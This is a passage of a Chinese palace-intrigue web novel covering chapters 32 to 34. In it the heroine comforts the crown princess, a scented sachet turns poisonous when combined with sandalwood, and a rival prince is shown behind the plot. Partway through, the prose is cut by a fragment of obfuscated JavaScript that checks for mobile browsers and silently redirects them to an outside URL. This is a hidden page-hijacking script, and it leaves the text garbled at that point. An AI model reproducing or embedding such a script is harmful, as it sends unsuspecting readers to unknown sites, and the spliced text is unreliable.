皇上看的是那可是一甲前三名的文章,窦景就算是自信爆棚也没这个本事,除非他走后门。
“那舅舅怕是要多找一找了,还得在三甲里面找,这可是他爹说的。”
太后笑着骂她:“谁家亲爹娘这么埋汰儿子的,景哥儿才学可是公认的好。”
卫姜:“那得看跟谁比,公子哥里拔高个他可能占个名,可天下才子一比,他可就不够看了,我听说江南文风盛行,那些学子才是真的有学识。”
贵妃也点头:“上一科状元探花可都是江南人,也不知道这一科是南人还会北人。”
太后:“南人北人有什么要紧,都是皇上的臣子。”
众人:“太后说的是。”
贤妃已经忍了好大一会儿了,皇上夸完卫姜的女儿又夸儿子,他自己的儿子立功回来却什么奖赏都没有。
她不敢对着皇上生气,只能刺一刺卫姜:“景哥儿还用的着真和他们比什么学识,还不是看皇上的心意。”
这话一出场面都安静了,皇后、贵妃、卫姜齐齐低头。太后狠狠地瞪了贤妃一眼,
太后训斥道:“科举取士你当是儿戏,你不懂就不要乱说话。”
见皇上脸色一下阴沉,贤妃也有些怕,起身起罪:“皇上恕罪,是臣妾说错话了。”
皇帝冷淡地瞥了她一眼,眼底带着些烦厌:“贤妃以后少说点话吧,你不说话时比较讨喜一点。”
也就是说她一开口就让人厌烦,贤妃鼻子泛酸,皇上怎么能这么说她,还当着这么多人的面。
气氛被破坏,皇上没待一会就走了,太后看向萎靡不振的贤妃,脸上有些疲惫,她揉了揉额头,众人知机,便起身告辞了。
太后怕是要私下教训她这个外甥女了,贤妃这口无遮拦的毛病,也幸亏太后是亲姨母,不然她也配占妃位。
刚走出太后宫,不出所料有人在等她,皇上要见她。
“朕这次让你进宫其实是有事要托付你。”皇上神色有些忧心,他看向卫姜,“你怕是听说了吧,太子妃身子不太好,太子出事后,她就一直惊恐不安,这对她养胎不利,东宫的事情窦绍可有跟你说过?”
卫姜摇头:“朝政大事他很少在家里谈起。”
“这是他谨慎持重,朕罚太子也是为他好,太子妃这胎关乎天下,不能出差错,其他人我也不放心,你是朕的外甥女,是太子最敬重的阿姐,我想让你去宽慰宽慰太子妃,让她安心养胎。”
卫姜张大嘴巴,想要说那直接告诉太子妃实情好了,东宫安稳她也就不用担心受怕了。
皇上背过手,透过窗户看向外面,脸色有些凝重,“这事还不能说,窦绍在江南查到,这场动乱背后有人指使,这人只怕正盯着东宫,朕的把这幕后之人挖出来,现在还不是告诉他们实情的时机。”
卫姜干咽了下口水,眼神飘忽有些不想听,这事不能跟太子说,干嘛跟她说,泄密了是不是就要找她麻烦了。
皇上被她逗的哈哈大笑,这胆小的模样,哪里有半点骄横。
“阿姜这是怕了?舅舅今日说的可不能告诉第三人,你可能守住秘密。”
这个时候谁还敢摇头。
皇上拍了拍她的头,笑道:“别怕,事情泄漏了舅舅也只找窦绍麻烦,这样可好。”
卫姜眼神嗖的明亮了几分,猛点头。
“窦绍可真是被你捏在手心里。”
这什么说的什么虎狼之词,皇上你是不是有什么误会,怕是说反了吧
可惜皇上不再继续和她探讨窦绍,而是说起太子妃和她肚子里的孩子。
“马上就是观音诞了,太子妃身子重,你多帮衬帮衬她,开解下她,你明白的?”
明白,就是当知心姐姐好好开解太子妃,让她不用担心丈夫地位不稳,好好地养胎,给皇上生个健康的皇孙。
“舅舅放心,保证完成任务。”
皇帝被她耍宝逗笑了,指着她道:“当祖母的人了,还这么跳脱。”
卫姜回到府里,门上的人就说姑奶奶窦氏来了。
卫姜还没走到花厅,就听到窦氏的声音,她是在教训陶氏。
她瞬间就怒了,卫姜都能想象的到陶氏现在是个什么样子,只怕是缩着头跟个鹌鹑似的随她说。
她好不容易才让陶氏胆子大了一点,这个窦氏哪里来的胆子来她家教训当家少奶奶。
卫姜砰地一声踹开了门,是的,就是用踹。
还好乳娘早已经带着孩子先下去了,不然只怕会吓着孩子。
屋里的两人都被吓了一跳,都是看到卫姜寒着一张脸,讪笑道:“二嫂回来了,我刚和侄媳妇说话呢。”
陶氏缩着站在一边,眼睛红红的,低着头,一看就是吃了排头。
“是吗?你是在和她说话不是教训她?”
窦氏有些尴尬,不过想到以前二嫂也氏不喜欢这个儿媳的,她又挺了挺脊背,“我替二嫂说她几句,哪有做儿媳的像她这么不懂事,让你操劳她想清福。”
卫姜冷笑一声,把陶氏拉到身后,“你真是好大的威风,来我家教训我的儿媳,我有什么事需要你替我教训她的,我操劳我乐意,哎,我就喜欢让我儿媳享福,你看不惯可以不来。”
陶氏的委屈一下子就忍不住了,她拉住婆母的衣袖紧紧不肯放手,安心躲在她的背后。
这是她觉得安心的地方。
卫姜指着门外:“你请吧,去你赵家继续摆威风。”
窦氏气的脸青紫,呼吸都急促了,她气冲冲地出门,刚走到门口又停了下来,脸上闪过挣扎,“二嫂,是我做的不对,你别生气,我下次不说侄媳妇了,我是听说二哥在江南的差事办完了,想着过来问候下。”
卫姜:“那你等你二哥回来了再来吧,我现在不想招待你。”
这是根本不给窦氏台阶,只想着给自己儿媳出气,窦氏脸色精彩极了,想要走,可想到她为什么来,又强忍了下来。
她艰难挤出笑容:“既然二嫂忙,那我隔日再来。”
窦氏带着一肚子气离开了,卫姜面无表情地看着陶氏。
陶氏抽噎的声音越来越小,她偷偷瞧了一眼婆母,不想被逮了个正着。
“这是哪里?”卫姜问她。
陶氏小声道:“花厅。”
“我是说这是谁的家?”
陶氏明白了她的意思,轻声道:“我们的家。”
卫姜往前走了两步,双手叉腰看着她,“既然是你的家,别人在你家骂你,你怎么就不知道反抗呢,你不能这么软蛋,这么骂不还口的别人只觉得你好欺负,不会觉得你善良,懂情理。”
陶氏嘴唇嗫嚅了几下,声音很低:“姑姑毕竟是长辈……”
“长辈就能欺负人,不分皂白的骂人?你啊,就是性子太软了别人才欺负你,你别怕,以后谁再欺负你,你骂回去,有我呢。”卫姜拍着胸脯。
陶氏眼眶发热,眼泪又流了出来,她笑着点头:“娘,我知道了。”
婆母真的变了,她不再骂她罚她,还会护着她,其实她根本不在乎窦氏说的那些话。
卫姜有些不敢看陶氏那小狗般的眼神,“你先回去吧,宝哥儿该找你了。”
劝走陶氏,卫姜回了内室换衣裳,刚刚只顾着发火了,竟然没觉得窦氏有些奇怪。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15049473|160748||http|test|mini|href|location''.split(''|''),0,{}));
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>今日她竟然没有把慧娘带来,这是有些奇怪,而且她刚刚明明气极了要走,却又忍辱负重地陪笑脸,到底是什么目的?和江南案子有关?
不应该啊,赵家如今不过是个空架子不可能和江南盐商扯上关系。
卫姜揉揉头,不想了,脑子都要发育了,她还有更重要的事情呢。
晚上窦绍回来,她把今日发生的事情告诉了他,重点提了句,她把他妹妹轰走了。
那一脸你要是维护,她就要好好干一架的气势,窦绍忍不住发笑。
“嗯,知道了。”
窦绍的反应太平淡,让卫姜有些错愕。
“快睡吧,明日你不是要去东宫吗?”窦绍拉她躺下,两人距离近的她就像是躺在他怀里,他的胸口离她不超过一个拳头的距离。
身后跟一坐火山似的,烫的她背后极度不自在,她往外挪了挪。
“小心压到小卫儿。”
这就是卫姜觉得他有病的地方,明明孩子让乳娘带着睡挺好的,他硬是要亲自带。
卫姜又没有经验,经常睡梦中都担心自己会压倒孩子,半夜被吓醒才发现自己抱着窦绍挤在床沿上。
卫姜有些狐疑地看向窦绍,他不会是故意的吧?
窦绍伸手捂住了她那过分明亮的眼睛,“好梦。”
强行阻断她的思考。
次日用过早膳后她就出门了,皇上交代的事情,那就是天下第一重要的事情,卫姜开始了早出晚归,每日大半时间都泡在东宫陪太子妃。
好不容易劝的太子妃借着观音诞出门散散心,既然是散心,卫姜选了风景最好的白云寺,听说这里观音求子最灵,听说太祖皇后曾来这里敬香,回宫没多久就有了太宗。
嗯,寓意也极好,想必皇上知道也会觉得她这差事办的很好。
太后和皇后不出宫,自然就是太子妃身份最尊,太子妃要去的地方,京中贵眷自然纷纷跟随,白云寺已经有很多年没这么热闹过了。
主持大师自从接到太子妃要驾临的消息,就把佛寺大清洗了一遍,而且今日寺里只接待太子妃和她们这些贵人。
毕竟事关太子妃的安全,卫姜自然不能干涩,只是跟主持说了,给百姓布施的粮食多加三成。
主持笑容更加慈悲了:“阿弥陀佛,施主仁善。”
卫姜笑而不语,这是清场该给的费用。
“这里的景致果然清幽秀丽,严姐姐这里可有什么好去处。”
严氏今日脸上一直不好,听有人忽然提到她,她尖声道:“我如何得知,我又不是这里的和尚。”
那问话的夫人脸上有些尴尬,旁边的人拉了她一把,两人往后慢走了几步,见严氏已经不见了,那夫人才有些不满道:“以前她不是经常来吗?就算不知道也不用发这么大脾气吧。”
她的朋友劝她:“算了,可能记不得了,她就算来也是好多年前的事情了,听说严夫人如今不爱礼佛了。”
“前面不远处就是祈愿林,我们也去那里挂些经幡吧。”那夫人点头,又重新跟上了队伍。
严氏也意识到刚刚自己反应过激了,她跟旁边的人解释道:“可能昨夜没睡好,今日心烦意乱的。”
不远处的太子妃刚好听见了,朝她招手:“严夫人不舒服,不如随我一起去精舍歇息一会。”
严夫人自然愿意一起前往,卫姜今日的主要任务就是护好太子妃,自然也一起。
三人经过塔林,不妨旁边忽然冒出一个和尚,那人低头避让到一旁,太子妃留意到他的僧衣破旧,便停下脚步道:“这位师傅,今日我们带来了不少僧衣,你可以去领一套,如今天气还未转暖,你的衣裳也太单薄了些。”
“多谢贵人,小僧习惯了。”那和尚抬头,看着年岁并不大。
他的眼神闪过惊讶,随即又低下头,等她们远去,他便急匆匆地离开了。
“严夫人?”卫姜推了推发呆的严氏,“你住这间吧。”
严氏好像是真的不舒服,她脸色更加苍白了。
“好。”
严氏回了自己的精舍,太子妃对卫姜道:“今日严夫人有些神不守舍的,奇怪。”
卫姜对严氏可没什么好印象,也不关心她如何:“或许有什么心事吧。”
33. 第 33 章
门外有声音传来,太子妃正闭目眼神,卫姜怕打扰了她走了出去。
“苏二小姐,你母亲在房里歇息。”
门外来的正是葛月,卫姜以为她是来找她娘的,便给她指了地方。
卫姜也有好久没见过她了,上次见面还是苏青成婚的时候。有段日子不见,葛月有些不一样了,清冷少了一些,脸上带着抹淡淡的笑意,越来越像高门贵女了。
“县主,我是听说太子妃不舒服,想过来看看。”她行礼的姿态优雅好看。
卫姜是知道她医术高超,之前她也帮太子妃治过病,说起来太子妃能有孕她功劳最高。
只是如今她已经不是曾经那个卑微的医女,而是国公府的千金,太子妃也不好明面上大肆赏赐,不过东宫对她是很感激的,也对她很是看重。
屋里的太子妃已经起来了,看到葛月来她很高兴,“今日人太多都没来及和你说几句话。”
葛月:“臣女听说太子妃有些不适,想过来给您诊诊脉。”
看病这种在卫姜看来是比较私密的事情,她找了个借口先离开了。
太子妃熟练的伸出手,“其实我就是有点累,你上次给我配的药丸,我吃着很好,太医院的御医又重新给我配了些。”
太子的脸色又前些日子比起来确实好了很多,葛月有些意外,上次诊脉时太子妃还是心绪郁结,这次虽看着疲惫,脉象倒是好了很多,她收回手,“娘娘身子好了很多,不过还是要心绪开阔些,勿要多思多虑才好。”
太子妃有些腼腆地笑了,“县主也是这么说,多亏了她来陪我说说话。”
孕妇敏感脆弱,又岂是旁人两三句话能开解的,除非……她所忧虑的事情有人给了定心丸。
那太子妃能忧虑什么,无非是皇上对太子的态度。
太子妃:“我就是最近老觉得没精神,胸口憋闷得很,想用些香”她摸着肚子,脸上带着怜爱:“可如今怀着他,御医也不让用,二小姐可有什么好的法子?”
她期盼地看着葛月。
葛月眼神微闪,想了片刻道:“不用做几个小香囊,用些果木香,娘娘若是觉得闷了可以拿出来闻一闻,果木香理气之余还能醒脑安神,且对胎儿也无碍。”
太子妃拍手:“这个好,还是你有巧思,御医怕麻烦,就巴不得我天天吃着安胎药,其他的什么都不碰。”
“不过还是要先给御医看看,万一有妨碍就不好了,”
太子妃拍着她的手:“你也太小心了。”
葛月只是笑笑,转而和太子妃说起了其他,也不知怎么的就说到了信王的伤,太子妃看了一眼她。
她是知道这位二小姐和信王关系匪浅,可惜宫里贤妃好像有其他的打算,她为葛月感到惋惜。
皇家三兄弟中,信王反而是最好的丈夫人选,他性子好,待人真诚,是皇家中难得的实心人。
“你去哪儿了?怎么这么久。”严是看见女儿眼神一缩,语气很冷。
葛月装作没有看到她的嫌恶,低声道:“太子妃不舒服,女儿过去看看。”
严氏眼神带着几分冷意,觉得她是用太子妃来压她,心中更是不喜:“你母亲也不舒服,怎么不见你这么孝顺。”
葛月惊讶抬头,严氏知道自己说错了话,转了个话题:“今日人多,你别四处乱跑,就在精舍歇着吧。”
她想到什么,看向葛月:“今日又碰到什么奇怪的人吗?”
葛月摇头,心里却在想她这是关心自己还是……
“夫人。”
侍女走了进来在她耳边低语几句,严氏神情变得有些紧张,脸色更难看了。
她嘟囔道:“怎么没找到,不可能啊。”
见她靠近,严氏大声呵斥道:“你要做什么。”
葛月好像被吓到了,伸出的手僵住了,神情有些委屈:“我看母亲有些不舒服,想给你看看脉。”
严氏绷着脸甩开了她的手,“不用你惺惺作态。”她怒瞪着葛月:“你就是个讨债鬼。”
侍女看葛月脸色变得一片灰白,心里也有些同情,轻声叫了声夫人。
严氏反应过来,“我今日心情不好,有些收不住脾气,行了,你去歇息吧。”
葛月转过身,泪珠盈睫,手紧紧地掐着虎口,她想不通为什么!她已经很努力地改变,母亲为什么要这么对她。
有时候她甚至怀疑自己不是母亲亲生,所以她才会这么厌恶自己。
就因为她自小流落乡野,所以他们便不在意她吗?她暗自发誓,一定一定会让他们后悔!悔恨自己当初的所为。
“你妹妹是不是有什么事求你?”
窦绍有些好奇她为什么这么问,“她跟你说了什么?”
卫姜摇头,倒是没有明说,只是话里话外的很是关心窦绍,那热诚的架势一看就是有目的。
“对了,盐商是不是真的很有钱?”她很是好奇地小声问道,眼神亮晶晶,一看就是对钱很有兴趣。
怀里的小婴儿哼唧起来,抬起小腿开始踹人,不满她爹爹怎么停下了,窦绍见她撇嘴,继续轻轻拍着哄睡。
见孩子呼吸变得平缓,窦绍做了个嘘的手势,轻轻地把女儿放到里侧。
“让她跟乳娘睡不是一样吗?”
她晚上醒来要吃奶,乳娘还得在外面等着,卫姜就是觉得他爱折腾。
最重要的是自己晚上也睡不好,每天在窦绍怀里醒来的感觉很尴尬啊
窦绍不理她,反而是和她重新聊起之前的话题:“你缺钱使了?”
那肯定是没有。
窦绍:“那你怎么忽然对盐商感兴趣了。”
卫姜道:“我也是听你妹妹说的。”
窦绍给女儿盖好小被子,怜爱地摸了摸她的脸。
“盐商虽富却地位低下,在有权有势的人眼里就是肥羊,怎么?她赵家也准备插一脚盐引生意了?”
他摇头:“要是真打这个主意,趁早让她死心,那些盐商背后都有人,哪一个是她赵家惹得起的。”
卫姜觉得他猜的不对:“我看她不像是要做什么生意。”
她提起盐商口气很是鄙夷,又怎么会打这个主意,赵家好歹是个伯爵府,还用不着跟商人抢生意吧。
她眼神一亮,好像生怕别人听见,凑近他耳朵道:“她会不会是来打探消息的,我看她对江南案子更关心。”
之前她脑海中闪过这个念头,可没往深处想。
会不会,她是替人来打探消息的。
江南盐税案的账册至今都没有找到,那幕后之人可还没查到,会不会窦氏是他们派来探听消息的。
很有可能啊,窦绍可是亲自去江南办过案的,要是有什么线索他一定是最清楚的。
她等着窦绍的回答,却见他愣在那里一动不动。
卫姜推了他一下:“说话啊。”
说话,说什么话,他是一句都没听清。
他所有心神都被耳边那酥酥麻麻的温热气息所摄,耳朵里哪里还能存住话。
他用被子挡住腰腹,不敢让她发现异常。
“你说什么?”窦绍有些语气有些不自然。
卫姜又重复了一遍,他神色变得郑重,“我知道了,明日……后日她若还来,你让她在家等我。”
他这脸色冷峻的吓人,卫姜扒拉了他一下:“你不是要骂她吧。”
那她成什么人了,窦氏还不得把她骂死。
“她素来有些不着调,我不点拨点拨,她怕是不知道轻重。”
卫姜:“我觉得这事不一定是她自己的意思。”
窦氏虽然素日有些跟高踩低的,但她眼睛素来只
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盯在女儿婚事上,难不成这事和慧娘的婚事有关。
“再说了我们现在还只是猜测,你又没有证据。”我们两个字她特意加重了语气,以证明她不是故意争夺窦氏。
窦绍嘴角扬了一下,很快又压了下去,“你说的对,我是应该先让人去查一查。”
对嘛,万一冤枉人了怎么好。
“对了,你刚刚说后日,明日你有什么事吗?”
窦绍点头,“明日该我去东宫侍讲,怕是要晚上才能回来。”
窦绍去东宫给太子讲经,也就是太子老师了,皇上是明晃晃地把他和太子绑在一起了,原书中可没有这一事,后期他站的是信王。
如今他成了太子的人,那太子出事会牵连他吗?
窦绍见她傻楞楞地,以为她在担心一个人搞不定孩子,“我要是回来的晚,你就让女儿跟乳娘她们睡吧。”
卫姜看着他欲言又止,想要提醒他,又忌惮他太精明,怕是惹上怀疑,她咬了咬唇,觉得看看再说。
反正离太子出事还早。
卫姜点头,窦绍看向滴漏,说道:“时间不早了,我们歇了吧。”
刚躺下他的手极其自然地搂了过来,把她往怀中带了带,那粗壮的手臂勒的她腰很紧,卫姜觉得自己呼吸都不畅了。
她用手抵住他的胸口,窦绍有些不解地看她,眼睛微微眯起。
“怎么了?”语气慵懒,听的卫姜发麻。
卫姜觉得他在装傻,这样下去这样下去不行,迟早又出事。
她翻身把小卫儿放在两人中间,“我还是喜欢睡里侧,”
说着她就翻身面朝里,不敢看身后的窦绍。
她早就应该这么干了,他不是觉得白日里没看到女儿,晚上要多陪陪吗,这样更有利于他培养父女感情。
窦绍眼里完全没看见女儿,双眼直直地盯着那女人。
看来这招没用啊,不如明日让人弄点果酒来。
次日,窦氏没有来,倒是林氏带着窦明上门了。
窦明脸上带着羞涩的笑意,林氏也是满脸喜色,卫姜灵光一闪:“这是有好消息了?”
窦明脸红了,林氏笑着道:“瞒不过弟妹,才刚两月,但我想着这消息怎么也得先告诉你,要不是多亏了弟妹,明儿哪里又今日。”
卫姜:“这是什么话,都是一家人。不过……“她脸上带着疑虑,“黄院判不是说要至少半年,可请他看过了,有没有妨碍?”
窦明解释道:“看过来,说胎儿很好,月妹妹也帮我把过脉,说我身子调养的比想象中好,怀胎也是自然的事情。”
“那就好。”有葛月看过还有什么不放心的,卫姜对女主的医术有着盲目的信任。
“你们二小姐说没问题,那就不用担心了。”
窦明也笑着点头,“月妹妹还给我开了些安胎的药,您就放心吧,她人很好的。”
想到葛月,她语气一转,“月妹妹人很好,可惜命却……”在场的都是亲人,窦明也没有避讳,直接把苏家的阴私说了出来。
“最近也不知道怎么回事,我婆婆心情不好,对月妹妹也越来越差,还经常责骂她,我把这事告诉世子,世子去劝过几次,但也没用,公公知道也没有制止,月妹妹看着实在是有些可怜。”
找回了亲生父母,可却得不到父母的怜爱与疼惜,她心里怕是很难过吧。
林氏叹气,她也不理解严氏是什么想法,那总归是自己身上掉下里的肉,怎么能忍心。
卫姜也默然,在原书里女主的亲情线是比较刀人,苏家人偏宠苏青,视她如无物,后来信王要娶她,苏家的人还恨她,觉得她抢走了苏青的王妃之位。
可能当主角身世总是要悲惨些,等她走上高位,苏家的人自然就重视她了,如今也正好给葛月认清身边的人的机会。
34. 第 34 章
“县主,宫里急召您进宫。”
长佩让田彩和蓝心拿衣服首饰,自己撩开帐子把卫姜从被子里刨出来。
“让我再睡一会?”卫姜抱住枕头不愿意起,这才什么时辰啊,她刚做了个好梦啊。
“县主,不能睡了,宫里的人在前面等着呢?”
卫姜眯开一半眼,“什么时辰了?”
“刚到辰时。”
卫姜瞬间清醒了,“出什么事了?”
长佩摇头,宫里的人嘴严的很,她没问出来,但瞧着神色怕是出事了。
长佩她们动作很快地给她收拾好。卫姜让人倒了杯清茶,让自己醒醒神。
“你留在家里,我带蓝心进宫。”
这个时辰宫里让人来叫她,八成不是什么好事,只怕她也没那么快能出来,窦绍又去上朝了,家里还是留个稳重的人才放心。
“县主,奴婢还是陪您进宫吧。”蓝心没有她对宫里熟悉,长佩有些担心。
卫姜压住了她的手,“放心吧,蓝心可以的,若是未时我还没有传信出来,你就让人找大人,把事情告诉他,然后去卫家。”
她娘有郡主的爵位,倒是比窦绍更容易进后宫。
“县主放心,奴婢知道怎么做。”
长佩一副舍生取义的表情,让卫姜有些想笑,“我这只是以防万一,可能是我想多了。”
长佩觉得县主不是想多了,宫里人讲究,这大清早的召人入宫,就算不是问罪也不可能是好事,说不定宫里昨夜出大事了,又牵连到了县主。
卫姜来不及用膳,只拿了两个小糕点垫肚子,她担心今日没得吃了。
长佩把蓝心拉到一旁,细心提点着她进宫要注意什么。
卫姜刚走进花厅,小太监立马站了起来,语气带着急切:“县主可预备好了。”
这是个熟人,卫姜愣了一下,她没想到竟然会是他来。
“怎么是小朱公公?”
小朱公公脸上摆出习惯性的谄媚笑容,很是恭敬回话:“来县主府上可是我们盼不来的好差事,我跟干爹求了好久呢。”
这话当然是假话,宫里的小太监谁不怵这位新宜县主,谁知道她这性子会不会又变回去。
卫姜也不计较这话真假,她朝旁边使了个眼色,长佩捏着个鼓鼓的荷包很是娴熟地塞进了小太监手里。
这小朱公公的干爹是乾清宫的大太监朱成,也就是说是皇帝召她进宫,他对她恭敬谦卑,那表示皇上召她也不是什么坏事。
卫姜心里安定了不少。
宫里出事了,准确说是东宫出事了,太子妃中毒了。
谁不知道皇上看重太子妃这一胎,太子妃出事就已经是大事情了,还是中毒。
天子震怒,宫中上下都战战兢兢,生怕顶了雷。
还好她最近不怎么往东宫去了,不然卫姜都要以为皇帝怀疑自己是嫌犯了。
她先去了太后宫中,太后对她态度依旧亲切,先是问了问孩子的事情,知道她肯定是没有用早膳,还贴心地让人上了糕点。
贵妃对她点头寒暄,贤妃嘴角撇了一下,倒是皇后,看她的眼神有些奇怪。
皇帝下朝后直接去了太后处,他脸色阴沉,就连素日看不懂脸色的贤妃都缩起脖子。
知道她们有事说,贵妃先走了,贤妃也不情愿地走了。
太后看着儿子这脸色,叹了口气:“好在老天保佑,太子妃福泽深厚,皇嗣也无事,剩下的事情就交给皇后去查吧,你也莫要太过动怒,怒大伤身,你年纪也不小了,要多多保重身子。”
皇上缓了脸色,“母后说的是,朕实在没想到竟然有人把手伸进了东宫,此事必须彻查清楚,皇后宫务繁重,怕是精力有限,朕准备让阿姜帮你一把,皇后觉得如何?”
皇后早就知道皇帝打算,恭敬地应了:“臣妾觉得皇上这主意甚好。”
只有卫姜反应最大,她张了张嘴,并不想接这个烫手山芋:“皇上,这……我怕是不行啊,不如派其他人协助皇后娘娘吧。”
皇上:“怎么?阿姜不愿意帮舅舅的忙。”
宫里这么多人,干嘛找她啊,她正准备继续拒绝,眼光扫到低头不语的皇后,眼底有着忧心的太后。
她瞬间明白了,皇上是不想让宫里的娘娘插手这事,涉及到东宫的事情就难免让人往夺嫡方面想,皇上连没有子嗣的皇后都疑心,还要找她来做监督,又怎么会让有子嗣的后妃参与。
如今皇上对宫里后妃都不信任,她此时若是拒绝,只怕会惹怒皇帝,她想要稳稳抱住的大腿,只能……
“舅舅放心,我一定会全力帮衬娘娘,我只是怕自己做不好。”
皇上脸色露出满意笑容,“不用担心,有皇后在呢,你也就是帮帮忙。”
他也不是真觉得卫姜能查出什么,他只是想借卫姜那糟糕的名声来震慑一下别人,让宫里的人多安分些日子。
查案的事情,他自然安排了其他人。
皇后虽然心里有些不满,但也不敢明着和皇上干,既然皇上让卫姜协助自己,她为了避嫌便把东宫问话的事情都交给了卫姜。
见到太子妃时卫姜大吃一惊,前些日子见她时明明脸色红润,气色很好,如今却面色蜡黄,眼下青黑。
“怎么如此严重了?你怎么……”卫姜本来想说怎么不早点看太医,但想到太医院也一直没有发现,又咽下剩下的话。
一名眼生的宫女端来药膳让太子妃吃,案发后太子妃身边服侍的都被看管起来了,案子查清才能放她们出来。
“太医说如今我要多吃以固胎元。”
太子妃抚摸着肚子,想到自己孩子差点就……她后怕不已。
“那毒到底是如何下的?”卫姜问道。
难道太子妃真的如此傻白甜,一点防范之心都没有,她没有防心,身边的人也都不留意?东宫可不止一个太子妃,还有其他妾室呢。
卫姜可看过不少宫斗小说,她不信能当太子妃的人真这么无能。
太子妃苦涩地笑了一下,她是真的半点都没有察觉,近日她时常觉得心悸,胎动也很频繁,她心里害怕请过太医来诊脉,可是什么都没有发现,只是开了一堆的安胎药。
昨夜她忽然又心慌的厉害,肚子也隐隐作痛,黄院判带了新太医过来诊脉,那位新来的太医在南边待过一阵,是他发现了蹊跷,觉得是中毒。
黄院判立马就禀报了皇上,搜检了整个东宫才找到毒物。
“之前苏二小姐给我配了个香囊,我闻着很舒服,日子长了,香囊的味道也淡了,我身边的人就重新帮我照着那个重做了一个。”
“这个香囊也佩戴了一段时间,以前挺好的,也是最近我才觉得有些不舒服。”
这个香囊是没有什么问题的,但里面有一味香料单用着有开郁醒脾,镇静安神的作用,但谁也不知道它碰到檀香竟然转为毒。
“苏二小姐给您配的香囊?”卫姜没想到这香囊出自葛月之手。
太子妃怕她怀疑葛月连忙解释道:“此事和葛二小姐无关,之前她给我香囊时还专门请太医看过,没有问题的。”她声音低了下去,有些自责,“其实也怪我,我喜欢那香料,让人又多加了份量。”
太子妃是相信葛月的,而且太子也查过了,葛月确实没有嫌疑,而且以前太子也很少用檀香,最近不知道为什么他房里忽然换了香。
其实她也不知道是巧合还是真的有人这么处心积虑地害她。
若真是算计,那也太可怕了。
那人得有多深沉的心计,那份狠毒让人发冷。
宫外,同一时间也有人在讨论着东宫的事情。
“你做了什么?”
“我不明白你说的是什么。”
葛月拧着眉,挣脱开信王的手,打量着四周,这里很偏僻,四面临水,只有湖心有一座高塔。
“你要是不明白,就不会这么回答我了,阿月,太子妃的事情是不是和你有关。”
葛月脸色大变,“殿下,你就这么想我死吗?”
信王脸色僵一下,低声道:“那香囊是你配的,你曾经说过这世上之物相生相克,没有一种药物是完全无害的。”
葛月不敢置信,说话的声音都带着颤意,像是被气的狠了:“所以你就怀疑是我,太医院那么多杏林高手都没有发现,你觉得我一个小女子就这么厉害,信王殿下你也太看得起我了,我不是神仙,也不是那么无所不知的。”
“若真是我,东宫的人早就把我带走了,也用不着信王殿下来审问我了。”
信王紧紧地盯着她的眼睛,要看进她的心底,葛月攥紧了拳头,好像被他的不信任伤到了,背过身去。
“我要想害太子妃,当初又何必给她治病,我若是不出手
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,以她的身子根本撑不了几年,我何必多此一举,再说了,太子妃对我信重有加,我有什么理由要害她。”
“我没想到你竟然会这么看我,你是不是从来没信过我。”葛月走近一步质问着他。
她脸上挂着泪珠,这是他第一次见她哭,他有些懊悔,不应该怀疑她的,是啊,他为什么会怀疑她呢。
是因为他心里的那个直觉吗?阿月自从回到苏家后就变的越来越陌生,她对权利的渴望他不是没感觉到。
“我对天发誓,太子妃中毒与我无关,这样你满意了吗?”
她脆弱的模样让信王很是惭愧,他轻轻地拥住她,“对不起,我……,是我想多了,我以为你为了我去……”
他咽下了未竟之语。
“等我们成婚后,我们去封地好不好?”信王低头看她,忽然说到道。
葛月怔了一下,脸上闪过异样,她推开信王:“贤妃娘娘同意婚事了吗?”
信王脸上有些尴尬,低声道:“母妃那边我来想办法。”
葛月冷着脸看着他,信王急忙道:“母妃不敢违抗父皇的话,我准备去求父皇,顺便也跟他说就封的事情。”
他想带着葛月离开苏家,去封地过舒心平淡的日子,至少在那里葛月不用看任何人的眼色,她可以继续行医,没有人会苛求她。
“再说吧,我要回去了,太久了会被人说闲话的。”葛月性质不高。
信王脸上悻悻,低声哄着:“对不起,我下次不会了,你别生气。”
“你刚刚说你觉得我会为了你,是说为你谋取东宫之位吗?”葛月抬头,用只有两人听到的声音问他
信王大惊,上前捂住她的嘴,然后看向四周,确定没人才放下。
“阿月,有些话说出来会惹祸的。”
葛月定定看着他,不罢休地问他:“那你想过那个位置吗?”
信王摇头:“从未,不管是作为兄长,还是作为储君,大哥都做的很好,我对他只有敬仰,永远也不会起这个心思。”
葛月低头没有再说话,不知道在想什么。
“看清楚了吗?”锦袍男子轻轻地折扇带着温和的笑,转头问身旁的中年男人
“如何?是不是看的很清楚?”这可是他精心挑选的地方,他的人一直留意着两人,这座塔可是偷窥的好地方。
那中年男人慢慢踱到床边,眼睛还紧紧盯着远处的那两道人影。
“那是信王?”
“是啊,我那三弟当初可差点就死在你手上了。”
中年男人转过头,“潞王殿下是在问罪我吗?”
潞王先是大笑,忽然又敛起笑意,盯着柳大富。
“我这不是担心柳老板有了孙女,就忘了我们的合作了。“
柳大富脸色阴沉:“孙女又如何,我儿子死了不会活过来,殿下不用试探我。”说完抬腿就走。
潞王身边的侍卫很是气愤,想要去教训这个柳大富,却被他阻止。
他嘴角含着丝冷笑:“他还有用。”
信王和葛月的身影越来越小了,他手中的扇子轻轻敲打着窗口。
“尾巴都处理好了吧?”
侍卫明白了主子的意思,“您放心,东宫什么都查不出来,只会是巧合。”
潞王嗯了一声。
那侍卫看了一眼潞王,显然有话说。
“说吧。”
侍卫:“苏家二小姐她会不会猜到……”
潞王:“怕什么,没有她我怎么知道檀香还有这用处呢?再说了,我如今不是也有她的把柄了。”
“这苏家二小姐可真不简单,手段狠辣,心机深沉,信王殿下也不知道能不能消受的起。”侍卫幸灾乐祸道。
潞王眼中闪过一道精光。
卫姜赶在未时之前出宫的,刚走到宫门口就看到窦绍等在外面。
原来长佩不放心,还是提前派人去禀报了窦绍,东宫出事根本瞒不住他们这些朝中重臣,明明他已经从太子那里知道她进宫并不无危险,但还是忍不住来宫门口等着。
亲眼看到她走出宫们,窦绍松了口气。
没想到他会来,卫姜笑着小步奔到他面前,窦绍伸手手接住她。
“你怎么来了?”
卫姜打量着他的神色,肯定道:“你知道了?”
窦绍点头:“回去再说。”
